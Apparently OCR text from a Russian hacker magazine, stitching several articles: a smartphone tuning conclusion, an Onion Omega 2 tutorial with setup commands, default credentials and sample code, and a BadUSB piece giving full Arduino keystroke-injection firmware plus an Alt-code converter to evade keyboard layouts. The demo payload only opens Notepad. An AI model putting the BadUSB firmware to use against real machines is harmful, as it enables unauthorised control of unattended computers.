ЗАКЛЮЧЕНИЕ
Да же  отно ситель но  сла бый  смар тфон  с  пра виль ными  при ложе ниями  и  нас‐ 
трой ками может впол не неп лохо выг лядеть на фоне более дорогих устрой ств.
Что бы  это  доказать,  срав ним  про изво дитель ность  нашего  4Good  Light
B100  пос ле  тюнин га  с  флаг маном  2016  года  Samsung  Galaxy  S7  G930F,
в котором исполь зуют ся стан дар тные при ложе ния впе ремеш ку с прог рамма‐ 
ми  Google.  Все  прог раммы  были  запуще ны  с  холод ного  стар та,  то  есть
непос редс твен но пос ле перезаг рузки аппа рата.

Ис поль зуемая память — это раз мер уста нов ленно го при ложе ния с его дан‐ 
ными  (в  слу чае  Maps.me  учи тыва ются  так же  кар ты  двух  областей).  Раз мер
кеша не учи тыва ется. Количес тво пот ребля емой опе ратив ной памяти мы ука‐ 
зывать  не  ста ли,  потому  что  он  силь но  зависит  от  объ ема  опе ратив ной
памяти устрой ства (а точ нее, нас тро ек мак сималь ного раз мера хипа — heap
size) и мно гих дру гих парамет ров и внеш них фак торов.

По  авто ном ности  работы  от  акку муля тора  4Good  впол не  может  сопер‐ 
ничать с Samsung. Оба девай са живут при мер но сут ки — сут ки с полови ной.
Спра вед ливос ти ради отме чу, что в Samsung в фоне работа ют десяток при‐ 
ложе ний, уста нов лены сер висы Google и вклю чен Always on Display.

https://f-droid.org/packages/com.simplemobiletools.calendar/
https://simplemobiletools.github.io/
https://play.google.com/store/apps/details?id=com.uzumapps.wakelockdetector
https://xakep.ru/2014/04/28/safe-energy-android-gadjet
https://play.google.com/store/apps/details?id=com.oasisfeng.greenify
https://xakep.ru/2016/02/02/doze/
https://play.google.com/store/apps/details?id=com.franco.doze
https://f-droid.org/packages/com.nhellfire.kerneladiutor/
https://play.google.com/store/apps/details?id=com.rs.autokiller
https://discussions.apple.com/docs/DOC-12271
https://play.google.com/store/apps/details?id=de.hp.taskmanager
http://forum.xda-developers.com/showthread.php?t=2544330


}
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ПРОВЕРЯЕМ, НА ЧТО СПОСОБЕН
КРОШЕЧНЫЙ И ДЕШЕВЫЙ

КОМПЬЮТЕР С LINUX

Виктор Паперно
vpap1997@inbox.ru

ТРЮКИ

В  жиз ни  каж дого  мей кера  нас тупа ет
момент, ког да обыч ных мик рокон трол леров
уже  не  хва тает,  а  тра тить  день ги  на  рас‐ 
пбер ри  жал ко.  Имен но  тут  и  выходит
на  сце ну  девайс  под  скром ным наз вани ем
Onion Omega 2. По раз мерам и цене близ‐ 
кий к мик рокон трол лерам, он обла дает воз‐ 
можнос тями,  срав нимыми  с  воз можнос‐ 
тями Raspberry Pi.

И ВСЕ-ТАКИ ЧЕМ ОТЛИЧАЕТСЯ МИКРОКОНТРОЛЛЕР ОТ МИНИ-
КОМПЬЮТЕРА?

Omega 2

На  мой  взгляд,  основное  отли чие  мик рокон трол лера  от  мини‐компь юте ра
(одноплат ника) —  опе раци онная  сис тема.  На мик рокон трол лере  есть  прог‐ 
рамма, про шив ка. Да, в некото рых кон трол лерных про шив ках, нап ример Mi‐
cropython, реали зова на час тичная фун кци ональ ность опе раци онной сис темы,
работа с фай лами, поль зователь ский интерфейс и про чее, но это не дела ет
их (пла ты с такой про шив кой) компь юте рами.

А  пос коль ку  на Omega  2  уста нов лена  облегчен ная  вер сия  Linux —  LEDE
(Linux  Embedded  Development  Environment),  базиру ющаяся  на  OpenWRT,  то,
нес мотря  на  свой  форм‐фак тор,  Omega  2  —  .
Кста ти,  ком пания‐про изво дитель  позици они рует  его  как  «самый  малень кий
в мире компь ютер с уста нов ленной Linux».

од ноплат ный  компь ютер

Пос мотрим, что он уме ет
Сей час  в  про даже  находит ся  две  вер сии  Onion  Omega:  2  и  2+.  В  дан ной
статье  рас смат рива ется  вер сия  .  Пла та  для  обзо ра  была
любез но пре дос тавле на магази ном  .

Onion  Omega  2

iarduino.ru

Срав нитель ное опи сание Omega 2 и 2+

Итак, у нашего компь юте ра:
580 МГц CPU•
64 Мбайт опе ратив ной памяти•
16 Мбайт флеш‐памяти•
USB 2.0•
Wi‐Fi•
15 GPIO•
2 PWM•
2 UART•
1 I2C•
1 SPI•
1 I2S•

Как мож но заметить на кар тинке, на самой пла те есть толь ко пины, нет даже
вхо да для питания. Для  того что бы начать работать с пла той, при дет ся рас‐ 
кошелить ся  на док‐стан цию. Их  сущес тву ет  целых  пять штук,  каж дая  удоб на
в сво ем слу чае. Я буду исполь зовать  . На ней рас положе ны
GPIO, USB‐порт, RGB‐све тоди од, кноп ка Reset, вык лючатель и порт microUSB
для питания устрой ства.

Expansion dock

Ви ды док‐стан ций

INFO

Кро ме док‐стан ций, для Omega сущес тву ют раз‐ 
личные стан дар тные модули: BLE‐модуль, модуль
для  под клю чения  Ethernet,  GPS‐модуль,  модуль
OLED‐дис плея.  Есть  и  раз личные  шил ды:
для работы с RFID‐мет ками, для управле ния реле
и сер вопри вода ми.

На чина ем работу
Очень  мно го  при меров  работы  с  этой  пла той  уже  рас смот рено  на  рус ско‐ 
языч ном  , поэто му я толь ко про бегусь по основным пун ктам нас трой‐ 
ки, а затем мы прис тупим уже к более‐менее реаль ным про ектам.

фо руме

Встав ляем пла ту в шилд, под клю чаем питание — и поеха ли!
Ес ли  питание  бла гопо луч но  пода ется,  то  в  спис ке  дос тупных Wi‐Fi‐сетей

мы вско ре уви дим сеть с наз вани ем  , где вмес то   будет
кусочек  MAC‐адре са  (кста ти,  пароль  стан дар тный  —  ).  Под клю‐ 
чаем ся  к  этой  сети  и  с  помощью  любого  бра узе ра  заходим  по  адре‐ 
су 192.168.3.1, а даль ше, сле дуя любез ным инс трук циям раз работ чиков пла‐ 
ты, выпол няем пер вичную нас трой ку: под клю чаем пла ту к сво ему Wi‐Fi, что бы
не перек лючать ся меж ду сетями, регис три руем ся в обла ке и уста нав лива ем
кон соль. Логин и пароль по умол чанию —   и   соот ветс твен но.

Omega-XXXX XXXX

12345678

root onioneer

Па нель управле ния (кон соль) Omega 2

Пос ле  завер шения  нас трой ки  мы  смо жем  попасть  в  панель  управле ния
Omega.  Почему‐то  она  называ ется  кон солью,  но  от  при выч ного  нам
интерфей са коман дной стро ки она доволь но далека :). На самом деле боль‐ 
ше все го эта панель управле ния напоми нает, по край ней мере мне, Launch‐
pad на macOS. Давай поп робу ем разоб рать ся, зачем нуж на каж дая из ути лит.

GPIO  Tool  поз воля ет  каж дому  пину  пос тавить  в  соот ветс твие  режим
работы Input/Output и уста новить зна чение по умол чанию — 0 или 1.

•

OLED Control — если ты купил еще и модуль с экра ном, то эта прог рам мка
поможет вывес ти на него текст или кар тинку.

•

Settings — нас трой ки, их мож но пос мотреть и отре дак тировать, в час тнос‐ 
ти обно вить про шив ку или сбро сить пла ту до завод ских нас тро ек.

•

Relay Control — ути лита для управле ния реле, опять же на допол нитель ном
модуле.

•

PWM Control — отли чает ся от пре дыду щей ути литы лишь тем, что кон тро‐ 
лиру ет сер вопри воды.

•

Эти  прог раммы пос тавля ются  вмес те  с  про шив кой,  оставши еся же  тре буют
отдель ной уста нов ки.

Terminal  —  при выч ный  всем  поль зовате лям  Linux  интерфейс  коман дной
стро ки.

•

Editor — минима лис тичный тек сто вый редак тор и фай ловый менед жер.•
Webcam — ути лита для стри мин га с помощью обыч ной USB‐веб‐камеры.•

Пе ред тем как начать работу, нуж но решить, на мой взгляд, основную проб‐ 
лему —  нех ватку  памяти.  16 Мбайт малова то.  Поэто му  под клю чаем флеш ку
и перено сим на нее сис темный раз дел.
1. От кры ваем тер минал и обновля ем спи сок дос тупных пакетов коман дой 
opkg update

2. За тем уста нав лива ем нуж ные нам пакеты: 
opkg install e2fsprogs

3. От монти руем нашу флеш ку. Если выдаст ошиб ку — не пережи вай: 
umount USB‐A1

4. Фор матиру ем флеш ку в ext4: 
mkfs.ext4 /dev/sda1

5. Ждем завер шения фор матиро вания.
6. Соз даем точ ку мон тирова ния и мон тиру ем в него нашу флеш ку: 
mkdir /mnt/sda1 
mount /dev/<device name> /mnt/sda1

7. Пе рено сим каталог   на флеш ку: /overlay

mount /dev/sda1 /mnt/ ; tar ‐C /overlay ‐cvf ‐  .  |  tar  ‐C  /
mnt/ ‐xf ‐ ; umount /mnt/

8. И уста нав лива ем авто мати чес кое мон тирова ние при вклю чении: 
opkg install block‐mount 
block detect > /etc/config/fstab

От кры ваем фай лик   и заменя ем в нем/etc/config/fstab

  на 
;

• option  target  '/mnt/<device  name>' option  target  '/

overlay'

 на  .• option enabled '0' option enabled '1'

Сох раня ем  и  перезаг ружа емся.  Ф‐ф‐фух!  Теперь  памяти  у  нас  дос таточ но.
И вот теперь мы дей стви тель но начина ем!

Hello RGB & Node.js
Од но  из  боль ших  пре иму ществ  дан ной  пла ты  —  воз можность  прог рамми‐ 
ровать ее на раз ных язы ках. Нап ример,  . Уста новим его, а так же нес‐ 
коль ко допол нитель ных пакетов:

Node.js

opkg install nodejs
opkg install npm
opkg install blynk‐library
npm install ‐‐save rgb‐hex

В  качес тве  демонс тра ции  раз берем,  как  работа ет  управле ние  Omega
2  с  помощью Blynk.  Напом ню,  что  Blynk —  это  облачный  сер вис,  име ющий
iOS‐  и  Android‐при ложе ния  для  управле ния  мик рокон трол лерами  (Arduino,
ESP8266, Raspberry и подоб ные) через интернет. Управлять мы будем встро‐ 
енным в мой шилд RGB‐све тоди одом. Для работы с ним есть встро енная ути‐ 
лита  . В качес тве парамет ра пода ется зна чение цве та в фор мате Hex.expled

Сна чала  соз дадим  про ект  в  Blynk.  Выбира ем  из  дос тупных  плат  Onion
Omega.

За тем добав ляем вид жеты   (вид жет выбора цве та) и  .
Нас тра иваем вид жет  : выбира ем вир туаль ные пины для под клю чения
(я выб рал 15 для крас ного цве та, 16 для зелено го и 17 для синего) и диапа‐ 
зон для цве та — от 0 до 255.   мы прос то под клю чаем к вир туаль‐ 
ному пину 0.

zeRGBa Styled Button
zeRGBa

Styled Button

И  теперь  самое  глав ное  —  зай дя  в  нас трой ки  про екта,  ско пируй
или отправь на email свой  .AUTH TOKEN

Blynk‐про ект

Те перь вер немся к Omega. Откро ем  , соз дадим пап ку  , а в ней
фай лик   c вот таким содер жимым:

Editor Scripts
main.js

const exec = require('child_process').exec;
const rgbHex = require('rgb‐hex');
var BlynkLib = require('/usr/bin/blynk‐library');
var blynk = new BlynkLib.Blynk("<YOUR AUTH TOKEN>");
var v15 = new blynk.VirtualPin(15);
var v16 = new blynk.VirtualPin(16);
var v17 = new blynk.VirtualPin(17);
var v0 = new blynk.VirtualPin(0);
var R = 0;
var G = 0;
var B = 0;
v15.on('write', function(param) {
 R = parseInt(param);

});
v16.on('write', function(param) {
 B = parseInt(param);

});
v17.on('write', function(param) {
 B = parseInt(param);

});
v0.on('write', function(param) {
 exec("expled 0x"+rgbHex(R,G,B));

});

Раз берем ся, что про исхо дит.
Вна чале под клю чают ся необ ходимые модули. В    заносит ся фун кция

вызова ути литы из кон соли, в   — фун кция кон верта ции цве та из RGB
в Hex, а в   — под клю чение к нашему Blynk‐про екту.

exec

rgbHex

blynk

За тем  объ явля ются  вир туаль ные  пины:  15,  16  и  17  для  получе ния  RGB,
0 для обра бот ки кноп ки. В три перемен ные,  ,   и  , будут заносить ся зна‐ 
чения соот ветс тву ющих сос тавля ющих цве та.

R G B

А затем опи сыва ется, что про исхо дит при отправ ке дан ных на каж дый вир‐ 
туаль ный  пин.  Фун кции  для  трех  цве товых  сос тавля ющих  иден тичны,  отли‐ 
чает ся лишь перемен ная, в которую записы вает ся чис ло. Ког да поль зователь
нажима ет на кноп ку — вызыва ется фун кция  , а в качес тве парамет ра
пос тупа ет шес тнад цатерич ное зна чение цве та.

expled

Вы водим сооб щения на экран
Хо тя уже дос таточ но дав но появи лась воз можность прос лушивать вхо дящие
сооб щения, нап ример с помощью Siri  или Али сы, про читать сооб щение все
же для мно гих быс трее. Хорошо, если ты докупил шилд с экра ном, а если нет?
Будем вык ручивать ся! На помощь нам при ходит один из самых рас простра‐ 
нен ных модулей для Arduino —  .I2C LCD Display

Пос коль ку  с  Node.js  мы  уже  работа ли,  этот  про ект  напишем  на  Python.
Для  уста нов ки  дос таточ но  ввес ти  уже  при выч ное  .
Очень  час то  мож но  встре тить  пред ложение  уста новить  так  называ емый

  —  лег кую  сбор ку.  Да,  мож но  уста новить  и  третью  вер сию
питона,  но  часть  биб лиотек  для  работы  непос редс твен но  с 
не уста нав лива ется на нее. Так что будем работать с вер сией 2.7.

opkg  install  python

python‐light
Omega  2+

Не  забыва ем  уста новить  при выч ный  любому  раз работ чику  на  Python
менед жер  пакетов  pip:  ,  а  так же  все,  что  необ‐ 
ходимо для работы с I2C:  .

opkg  install  python‐pip
opkg install git git‐http pyOnionI2C

Итак,  пус кай  на  экран  выводит ся  все,  что  при ходит  в  наш  телег рам‐бот
(бла го, нес мотря на обе щан ную бло киров ку, он про дол жает работать).

Ус танав лива ем    с  помощью  pip,  ска чива ем  с  офи‐ 
циаль ного сай та Omega 2 биб лиоте ку 

.  Под клю чаем  пины  на  монито ре  к  соот ветс тву‐ 
ющим пинам на пла те.

PyTelegramBotApi

git clone https://bitbucket.org/
fires/fireonion_i2c_lcd

import lcdDriver
import telebot
bot = telebot.TeleBot("TOKEN")
lcdAddress = 0x3f
lcd = lcdDriver.Lcd(lcdAddress)
lcd.backlightOn()
@bot.message_handler(func=lambda message: True)
def echo_all(message):
   lcd.lcdDisplayStringList([message.chat.first_name,message.text]))
if __name__ == '__main__':
   bot.polling(none_stop=True)

Все  очень  прос то:  под клю чаем  необ ходимые  биб лиоте ки,  ког да  при ходит
сооб щение — выводим его на экран вмес те с име нем отпра вите ля.

ЗАКЛЮЧЕНИЕ, РАЗМЫШЛЕНИЯ И ВЫВОДЫ
 дей стви тель но неп лохое устрой ство, но, как и у любого Linux‐based

устрой ства, у него есть недос татки.
Omega 2

Во‐пер вых,  хорошо  работа ют  лишь  устрой ства,  под клю чаемые  через
модули, запус тить внеш ний OLED‐экран через I2C у меня так и не получи лось.
Во‐вто рых, нес мотря на дос таточ но обширную докумен тацию аж на трех язы‐ 
ках, все какое‐то еще сырое. Пери оди чес ки при ходит ся уста нав ливать дру гие
биб лиоте ки, рыть ся на форумах. Кро ме того, изна чаль но цена пла ты колеба‐ 
лась око ло 5 дол ларов, а сей час, что бы начать работать с пла той Omega 2,
при дет ся выложить минимум 20,75 дол лара, что с уче том кур са уже дорого‐ 
вато.

Для чего же хороша эта пла та? Для неболь ших домаш них про ектов, ког да
не  хочет ся паять и про ще  купить модуль, — опре делен но да. Набор язы ков
прог рамми рова ния,  при выч ный  интерфейс  коман дной  стро ки.  В  качес тве
неболь шого сер вера в том слу чае, если мощ ностей Omega 2 хва тает, — нет
смыс ла покупать более дорогую Raspberry Pi.

WWW

•Офи циаль ный сайт про изво дите ля
•Рус ско языч ный форум

mailto:vpap1997@inbox.ru
http://iarduino.ru/
http://omega-2.ru/
https://onion.io/
http://omega-2.ru/
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ТРЮКИ

BadUSB — один из самых инте рес ных инс тру мен тов в арсе‐ 
нале хакера. Этот класс атак поз воля ет при помощи девай‐ 
сов  вро де  Rubber  Ducky  зах ватить  кон троль  над  мно гими
устрой ства ми, у которых есть порт USB. Мож но эму лиро вать
любую перифе рию, но чаще все го под делыва ют кла виату ру.
В этой статье я покажу, как решить одну из глав ных свя зан‐ 
ных с этим проб лем — зависи мость от текущей рас клад ки.

INFO

Су щес тву ют  две  основные  катего рии  устрой ств
типа  BadUSB:  флеш ка  с  кон трол лером  Phison
2251‐03 (для него была раз работа на спе циаль ная
про шив ка,  эму лиру ющая  кла виату ру)  и  устрой‐ 
ства  на  мик рокон трол лере  ATmega  (нап ример,
Rubber Ducky).

BadUSB  при дума ли  отно ситель но  недав но,  в  2014  году.  Поэто му  еще  есть
шанс най ти новые трю ки и решить по дороге раз ные нет риви аль ные задачи.
Для тех, кто живет в стра нах, где, помимо латин ско го алфа вита, исполь зует ся
какой‐то дру гой, одна из  таких  задач — это перек лючение вво да на нуж ную
рас клад ку  кла виату ры.  Если  в  опе раци онной  сис теме  выс тавле на  рус ская
рас клад ка, а  твой скрипт скар мли вает ей нажатия на кла виши в англий ской,
то из это го, конеч но же, ничего не вый дет.

При мер работы BadUSB на рус ской рас клад ке

Как  обой ти  эту  проб лему?  Нап ример,  мож но  попытать ся  учесть  изме нение
рас клад ки  в  скрип тах,  но  для  это го  при дет ся  узна вать,  какие  имен но  язы ки
исполь зуют ся  в  сис теме,  сколь ко  их,  в  каком  поряд ке  они  сто ят  и  каким
сочета нием кла виш перек люча ются. Это явно не самый раци ональ ный метод.

Я  пред лагаю  исполь зовать  дру гой  вари ант  —  вво дить  все  сим волы
при помощи Alt‐кодов. Этот спо соб в Windows иног да исполь зует ся для вво да
сим волов,  которые  отсутс тву ют  на  кла виату ре.  Нап ример,  зажима ешь  Alt,
удер живая, набира ешь на циф ровом бло ке 9731, и получа ется сне говик. Здо‐ 
рово? Нам это тоже очень поможет, пос коль ку таким обра зом мож но вво дить
и обыч ные сим волы, при чем незави симо от текущей рас клад ки.

Таб лица Alt‐кодов

Для  сво их  экспе римен тов  я  исполь зовал  Rubber  Ducky  на  осно ве  AT‐
mega32U4. В пер вую оче редь нуж но научить ее вос про изво дить коман ды —
это дела ется на спе циаль ном язы ке, который называ ется Ducky Script. Одна‐ 
ко, изу чив матери алы, я не нашел никаких све дений о воз можнос ти эму ляции
кла виш  циф рового  бло ка.  Поэто му  сна чала  нуж но  было  модифи циро вать
про шив ку BadUSB.

НОВАЯ ПРОШИВКА BADUSB
За осно ву берем биб лиоте ку keyboard. У меня получил ся вот такой код.

#include "Keyboard.h"
#include <SD.h>
#include <string.h>
#include <SPI.h>
File script;
boolean first = true;
String DEFAULT_FILE_NAME = "script.txt";
void setup() {
if (!SD.begin(4)) {
   return;
}
script = SD.open(DEFAULT_FILE_NAME);
if (script) {
   Keyboard.begin();
   String line = "";
   while (script.available()) {
    char m = script.read();
    if (m == '\n'){
      Line(line);
      line = "";
      }
      else if((int) m != 13)
      {
        line += m;
      }
   }
   Line(line);
   script.close();
} else {
}
Keyboard.end();

}
void Line(String l)
{
int space_1 = l.indexOf(" ");
if (space_1 == ‐1)
{
   Press(l);
}
else if (l.substring(0,space_1) == "STRING")
{
   Keyboard.print(l.substring(space_1 + 1));
}
else if (l.substring(0,space_1) == "DELAY")
{
   int delaytime = l.substring(space_1 + 1).toInt();
   delay(delaytime);
}
else if(l.substring(0,space_1) == "REM"){}
else
{
    String remain = l;
    while(remain.length() > 0)
    {
      int latest_space = remain.indexOf(" ");
      if (latest_space == ‐1)
      {
        Press(remain);
        remain = "";
      }
      else
      {
        Press(remain.substring(0, latest_space));
        remain = remain.substring(latest_space + 1);
      }
      delay(5);
    }
}
Keyboard.releaseAll();

}
void Press(String b)
{
if(b.length() == 1)
{
   char c = b[0];
   Keyboard.press(c);
}
else if (b.equals("ENTER"))
{
   Keyboard.press(KEY_RETURN);
}
else if (b.equals("CTRL"))
{
   Keyboard.press(KEY_LEFT_CTRL);
}
   else if (b.equals("SHIFT"))
{
   Keyboard.press(KEY_LEFT_SHIFT);
}
   else if (b.equals("ALT"))
{
   Keyboard.press(KEY_LEFT_ALT);
}
   else if (b.equals("GUI"))
{
   Keyboard.press(KEY_LEFT_GUI);
}
else if (b.equals("NUMLOCK"))
{
   Keyboard.press(219);
}
   else if (b.equals("UP") || b.equals("UPARROW"))
{
   Keyboard.press(KEY_UP_ARROW);
}
   else if (b.equals("DOWN") || b.equals("DOWNARROW"))
{
   Keyboard.press(KEY_DOWN_ARROW);
}
   else if (b.equals("LEFT") || b.equals("LEFTARROW"))
{
   Keyboard.press(KEY_LEFT_ARROW);
}
   else if (b.equals("RIGHT") || b.equals("RIGHTARROW"))
{
   Keyboard.press(KEY_RIGHT_ARROW);
}
   else if (b.equals("DELETE"))
{
   Keyboard.press(KEY_DELETE);
}
   else if (b.equals("PAGEUP"))
{
   Keyboard.press(KEY_PAGE_UP);
}
   else if (b.equals("PAGEDOWN"))
{
   Keyboard.press(KEY_PAGE_DOWN);
}
   else if (b.equals("HOME"))
{
   Keyboard.press(KEY_HOME);
}
   else if (b.equals("ESC"))
{
   Keyboard.press(KEY_ESC);
}
   else if (b.equals("INSERT"))
{
   Keyboard.press(KEY_INSERT);
}
   else if (b.equals("TAB"))
{
   Keyboard.press(KEY_TAB);
}
   else if (b.equals("END"))
{
   Keyboard.press(KEY_END);
}
   else if (b.equals("CAPSLOCK"))
{
   Keyboard.press(KEY_CAPS_LOCK);
}
   else if (b.equals("F1"))
{
   Keyboard.press(KEY_F1);
}
   else if (b.equals("F2"))
{
   Keyboard.press(KEY_F2);
}
   else if (b.equals("F3"))
{
   Keyboard.press(KEY_F3);
}
   else if (b.equals("F4"))
{
   Keyboard.press(KEY_F4);
}
   else if (b.equals("F5"))
{
   Keyboard.press(KEY_F5);
}
   else if (b.equals("F6"))
{
   Keyboard.press(KEY_F6);
}
   else if (b.equals("F7"))
{
   Keyboard.press(KEY_F7);
}
   else if (b.equals("F8"))
{
   Keyboard.press(KEY_F8);
}
   else if (b.equals("F9"))
{
   Keyboard.press(KEY_F9);
}
   else if (b.equals("F10"))
{
   Keyboard.press(KEY_F10);
}
   else if (b.equals("F11"))
{
   Keyboard.press(KEY_F11);
}
   else if (b.equals("F12"))
{
   Keyboard.press(KEY_F12);
}
   else if (b.equals("N9"))
{
   Keyboard.press (233);
   Keyboard.release (233);
}
   else if (b.equals("N8"))
{
   Keyboard.press (232);
   Keyboard.release (232);
}
   else if (b.equals("N7"))
{
   Keyboard.press (231);
   Keyboard.release (231);
}
   else if (b.equals("N6"))
{
   Keyboard.press (230);
   Keyboard.release (230);
}
   else if (b.equals("N5"))
{
   Keyboard.press (229);
   Keyboard.release (229);
}
   else if (b.equals("N4"))
{
   Keyboard.press (228);
   Keyboard.release (228);
}
   else if (b.equals("N3"))
{
   Keyboard.press (227);
   Keyboard.release (227);
}
   else if (b.equals("N2"))
{
   Keyboard.press (226);
   Keyboard.release (226);
}
   else if (b.equals("N1"))
{
   Keyboard.press (225);
   Keyboard.release (225);
}
   else if (b.equals("N0"))
{
   Keyboard.press (234);
   Keyboard.release (234);
}

}
void loop() {} 

Ра ботать мик рокон трол лер дол жен так же, как Rubber Duck, но с под дер жкой
циф рового бло ка. Все коман ды сов пада ют с Ducky Script, кро ме одной. Если
написать N и циф ру (без раз делите лей), то будет эму лиро вать ся нажатие кла‐ 
виш на Numpad.

КОНВЕРТЕР СТРОК
Те оре тичес ки уже на этом эта пе мож но начинать писать скрип ты, но вруч ную
вби вать  альт‐коды  —  не  луч ший  спо соб  пот ратить  свое  вре мя.  Что бы
облегчить  себе  задачу,  напишем  неболь шой  скрипт  на  Python  3,  который
будет пре обра зовы вать текст на англий ском в нажатия ком бинаций с Alt.

convert = {
 'A': 'ALT N6 N5',
 'B': 'ALT N6 N6',
 'C': 'ALT N6 N7',
 'D': 'ALT N6 N8',
 'E': 'ALT N6 N9',
 'F': 'ALT N7 N0',
 'G': 'ALT N7 N1',
 'H': 'ALT N7 N2',
 'I': 'ALT N7 N3',
 'J': 'ALT N7 N4',
 'K': 'ALT N7 N5',
 'L': 'ALT N7 N6',
 'M': 'ALT N7 N7',
 'N': 'ALT N7 N8',
 'O': 'ALT N7 N9',
 'P': 'ALT N8 N0',
 'Q': 'ALT N8 N1',
 'R': 'ALT N8 N2',
 'S': 'ALT N8 N3',
 'T': 'ALT N8 N4',
 'U': 'ALT N8 N5',
 'V': 'ALT N8 N6',
 'W': 'ALT N8 N7',
 'X': 'ALT N8 N8',
 'Y': 'ALT N8 N9',
 'Z': 'ALT N9 N0',
 'a': 'ALT N9 N7',
 'b': 'ALT N9 N8',
 'c': 'ALT N9 N9',
 'd': 'ALT N1 N0 N0',
 'e': 'ALT N1 N0 N1',
 'f': 'ALT N1 N0 N2',
 'g': 'ALT N1 N0 N3',
 'h': 'ALT N1 N0 N4',
 'i': 'ALT N1 N0 N5',
 'j': 'ALT N1 N0 N6',
 'k': 'ALT N1 N0 N7',
 'l': 'ALT N1 N0 N8',
 'm': 'ALT N1 N0 N9',
 'n': 'ALT N1 N1 N0',
 'o': 'ALT N1 N1 N1',
 'p': 'ALT N1 N1 N2',
 'q': 'ALT N1 N1 N3',
 'r': 'ALT N1 N1 N4',
 's': 'ALT N1 N1 N5',
 't': 'ALT N1 N1 N6',
 'u': 'ALT N1 N1 N7',
 'v': 'ALT N1 N1 N8',
 'w': 'ALT N1 N1 N9',
 'x': 'ALT N1 N2 N0',
 'y': 'ALT N1 N2 N1',
 'z': 'ALT N1 N2 N2',
 ',': 'ALT N4 N4',
 '.': 'ALT N4 N6',
 '/': 'ALT N4 N7',
 '<': 'ALT N6 N0',
 '>': 'ALT N6 N2',
 '?': 'ALT N6 N3',
 ';': 'ALT N5 N9',
 ':': 'ALT N5 N8',
 '"': 'ALT N3 N4',
 '[': 'ALT N9 N1',
 ']': 'ALT N9 N3',
 '{': 'ALT N1 N2 N3',
 '}': 'ALT N1 N2 N5',}

stEng = input("Введите текст для конвертирования на английском: ")
i = 0
f = 0
otvet = []
for k in stEng:
 try:
     print(convert[stEng[i]])
     i += 1
 except KeyError:
     print('STRING',k)
     i += 1

РАСШИРЯЕМ ПАМЯТЬ
Об рати вни мание, что этот скрипт пре обра зует толь ко стро ки, но не весь код
целиком.  Кста ти,  из‐за  того,  что  каж дый  вво димый  сим вол  прев раща ется
в  12  сим волов,  отдель ные  скрип ты,  которые  рань ше  помеща лись  в  память
мик рокон трол лера, теперь могут не помес тить ся, так что при дет ся как‐нибудь
вык ручивать ся.

INFO

ATmega32U4 рас полага ет 32 Кбайт флеш‐памяти,
из  которых  4  Кбайт  исполь зует ся  для  хра нения
заг рузчи ка. Так же у нее 2,5 Кбайт ОЗУ и 1 Кбайт
EEPROM.

Arduino — шту ка  доволь но  гиб кая,  и  ее  мож но  улуч шить,  в  пер вую  оче редь
вся кими допол нитель ными модуля ми. Если нуж но уве личить память, то берем
кар три дер microSD и под клю чаем его по интерфей су SPI.

Схе ма под клю чения кар три дера к Arduino

Да лее нам нуж но модифи циро вать скетч, который будет читать скрипт с SD‐
кар ты.  Пос тоян но  переза ливать  скетч  в  Arduino  не  нуж но,  мож но  прос то
залить  их  на  кар ту.  Файл  со  скрип том  обя затель но  дол жен  называть ся

.script.txt

ИНСТРУКЦИЯ К ИСПОЛЬЗОВАНИЮ
Вот  как  будет  выг лядеть  скрипт,  откры вающий  блок нот  и  вво дящий  в  него
текст.

DELAY 500
GUI r
STRING notepad
ENTER
DELAY 500
STRING Hello World!

Да лее  нуж но  пре обра зовать  все  стро ки:  в  дан ном  при мере  она  одна  —
.STRING

Ко пиру ем  текст  «Hello World!»  и  встав ляем  в  нашу  прог рамму  на  Python.
Получив ший ся код выг лядит так:

DELAY 500
GUI r
STRING notepad
ENTER
DELAY 500
ALT N7 N2
ALT N1 N0 N1
ALT N1 N0 N8
ALT N1 N0 N8
ALT N1 N1 N1
STRING  
ALT N8 N7
ALT N1 N1 N1
ALT N1 N1 N4
ALT N1 N0 N8
ALT N1 N0 N0
STRING !

Есть  неболь шая  веро ятность,  что  на  целевом  устрой стве  может  быть  вык‐ 
лючен  Num  Lock,  поэто му  сто ит  в  кон це  кода  написать    и  про дуб‐ 
лировать прог рамму.

NUMLOCK

При мер кода с дуб лирова нием:

DELAY 500
GUI r // Активируем команду «Выполнить»
ALT N1 N1 N0 // Если NumLock включен, то следующие программы 
сработают
ALT N1 N1 N1
ALT N1 N1 N6
ALT N1 N0 N1
ALT N1 N1 N2
ALT N9 N7
ALT N1 N0 N0 // Вводим «notepad»
ENTER
DELAY 500 // Ждем 0,5 с
ALT N7 N2
ALT N1 N0 N1
ALT N1 N0 N8
ALT N1 N0 N8
ALT N1 N1 N1
STRING  
ALT N8 N7
ALT N1 N1 N1
ALT N1 N1 N4
ALT N1 N0 N8
ALT N1 N0 N0
STRING ! // Вводим в блокноте «Hello World!»
NUMLOCK // Если Num Lock был выключен, то мы его включаем этой 
командой и снова вводим код
ALT F4
GUI r // Активируем команду «Выполнить»
ALT N1 N1 N0
ALT N1 N1 N1
ALT N1 N1 N6
ALT N1 N0 N1
ALT N1 N1 N2
ALT N9 N7
ALT N1 N0 N0 // Вводим «notepad»
ENTER
DELAY 500 // Ждем 0,5 с
ALT N7 N2
ALT N1 N0 N1
ALT N1 N0 N8
ALT N1 N0 N8
ALT N1 N1 N1
STRING  
ALT N8 N7
ALT N1 N1 N1
ALT N1 N1 N4
ALT N1 N0 N8
ALT N1 N0 N0
STRING ! // Вводим в блокноте «Hello World!»

Те перь сох раня ем этот скрипт в файл  , записы ваем на SD‐кар ту,
ста вим  ее  в  кар три дер  устрой ства,  устрой ство  —  в  порт  и  нас лажда емся
резуль татом!

script.txt

mailto:il.ryzhov@yandex.ru
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ТРЮКИ

STRUCTURED TEXT TOOLS — ПОДБОРКА УТИЛИТ ДЛЯ
ОБРАБОТКИ ДАННЫХ ИЗ КОМАНДНОЙ СТРОКИ1
Нуж ная кро шеч ная ути лит ка для коман дной стро ки иног да спо соб на
сэконо мить  мас су  вре мени. Мы  уже  писали  про  ути литы    и  ,
которые помога ют спра вить ся с фай лами в JSON, но на этот раз я
покажу  тебе  целые  залежи  подоб ных  прог раммок,  что бы  ты  мог
покопать ся в них в свое удо воль ствие. Ну или как минимум положить
ссыл ку в зак ладки до нас тупле ния нуж ного момен та.

jq gron

Итак,    —  это  репози торий  на  GitHub,  автор
которо го кол лекци они рует ссыл ки на ути литы для работы с раз ными
типами  дан ных  из  коман дной  стро ки.  По  боль шей  час ти  это  прог‐ 
раммы  для  Unix‐подоб ных  сис тем,  но  попада ются  и  биб лиоте ки
для Python.

Structured  text  tools

